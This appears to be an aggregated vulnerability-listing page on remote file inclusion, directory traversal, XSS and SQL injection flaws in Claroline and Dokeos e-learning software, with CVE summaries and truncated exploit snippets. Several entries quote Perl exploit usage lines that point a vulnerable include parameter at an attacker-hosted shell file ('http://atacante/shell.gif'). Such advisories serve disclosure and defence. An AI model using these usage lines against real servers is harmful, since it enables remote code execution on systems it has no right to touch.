Claroline Multiple Script includePath Parameter Remote File Inclusion

The remote host is running Claroline, an open source, web-based, collaborative learning environment written in PHP. The version of Claroline installed on the remote host fails to sanitize input to the 'includePath' parameter before using it to include PHP code in the...

Claroline 1.7.6 - 'includePath' Remote Code Execution

!/usr/bin/php -q -d shortopentag=on '."\r\n"; die; / explaination: is to...

Claroline ldap.inc.php clarolineRepositorySys Parameter Remote File Inclusion

The remote host is running Claroline, an open source, web-based, collaborative learning environment written in PHP. The version of Claroline installed on the remote host fails to sanitize input to the 'clarolineRepositorySys' parameter of the 'claroline/auth/extauth/drivers/ldap.inc.php' script...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in Claroline 1.7.5 allow remote attackers to execute arbitrary PHP code via a URL in the 1 clarolineRepositorySys parameter in ldap.inc.php and the 2 claroCasLibPath parameter in casProcess.inc.php...

CVE-2006-2284

Multiple PHP remote file inclusion vulnerabilities in Claroline 1.7.5 allow remote attackers to execute arbitrary PHP code via a URL in the 1 clarolineRepositorySys parameter in ldap.inc.php and the 2 claroCasLibPath parameter in casProcess.inc.php...

CVE-2006-2284

Claroline 1.7.5 is affected by multiple PHP remote file inclusion (RFI) vulnerabilities that allow an attacker to execute arbitrary PHP code via crafted URLs. The documented vectors include the clarolineRepositorySys parameter in ldap.inc.php and the claro_CasLibPath parameter in casProcess.inc.p...

CVE-2006-2284

Multiple PHP remote file inclusion vulnerabilities in Claroline 1.7.5 allow remote attackers to execute arbitrary PHP code via a URL in the 1 clarolineRepositorySys parameter in ldap.inc.php and the 2 claroCasLibPath parameter in casProcess.inc.php...

Claroline Open Source e-Learning 1.7.5 Remote File Include

Description Vendor: http://www.claroline.net The file claroline/auth/extauth/drivers/ldap.inc.php uses the variable clarolineRepositorySys in a include function without being declared. There are other files vulnerable in the same folder, this exploit only attacks ldap.inc.php There is other...

[Full-disclosure] Claroline file inclusion vulnerabilities

Beford posted a tool on milw0rm exploiting some file inclusion vulnerabilities in claroline: http://www.milw0rm.com/exploits/1766 if someone wants the complete list of the vulnerable files, here it is: the "clarolineRepositorySys" parameter in: "claroline/auth/extauth/drivers/ldap.inc.php",...

Claroline e-Learning 1.75 (ldap.inc.php) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ====================================================================== Claroline e-Learning 1.75 ldap.inc.php Remote File Inclusion Exploit ====================================================================== !/usr/bin/perl Claroline Ope...

Claroline E-Learning 1.75 - ldap.inc.php Remote File Inclusion

Claroline E-Learning 1.75 - ldap.inc.php Remote File Inclusion !/usr/bin/perl Claroline Open Source e-Learning 1.7.5 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd;...

Claroline e-Learning 1.75 (ldap.inc.php) Remote File Inclusion Exploit

No description provided by source. !/usr/bin/perl Claroline Open Source e-Learning 1.7.5 Remote File Include Exploit & Advisorie: beford xbefordx gmail com uso: perl own.pl host cmd-shell-url cmd-var perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd cmd shell example: ?...

Claroline E-Learning 1.75 - 'ldap.inc.php' Remote File Inclusion

!/usr/bin/perl Claroline Open Source e-Learning 1.7.5 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.claroline.net The file...

Dokeos Lms 1.6.4 - 'authldap.php' Remote File Inclusion

!/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ The file...

[Full-disclosure] Dokeos 1.6.4 SQL Injection Vulnerability

Dokeos 1.6.4 SQL Injection Vulnerability Author: Alvaro Olavarria [email protected] Affected: Dokeos = 1.6.4 Status: Notified hereby Vendor url: http://www.dokeos.com Background. Dokeos is an Open Source elearning and course management web application translated in 34 languages and helping mor...

CVE-2006-1596

PHP remote file inclusion vulnerability in learnPath/include/scormExport.inc.php in Claroline 1.7.4 and earlier allows remote attackers to execute arbitrary PHP code via the includePath parameter...

CVE-2006-1595

Cross-site scripting XSS vulnerability in document/rqmkhtml.php in Claroline 1.7.4 and earlier allows remote attackers to read arbitrary files via ".." sequences in the file parameter in a rqEditHtml command...

Directory traversal

Multiple directory traversal vulnerabilities in document/rqmkhtml.php in Claroline 1.7.4 and earlier allow remote attackers to use ".." dot dot sequences to 1 read arbitrary files via the file parameter in a rqEditHtml command to document/rqmkhtml.php or 2 execute arbitrary code via the includePa...

Cross site scripting

Cross-site scripting XSS vulnerability in document/rqmkhtml.php in Claroline 1.7.4 and earlier allows remote attackers to read arbitrary files via ".." sequences in the file parameter in a rqEditHtml command...

CVE-2006-1594

Multiple directory traversal vulnerabilities in document/rqmkhtml.php in Claroline 1.7.4 and earlier allow remote attackers to use ".." dot dot sequences to 1 read arbitrary files via the file parameter in a rqEditHtml command to document/rqmkhtml.php or 2 execute arbitrary code via the includePa...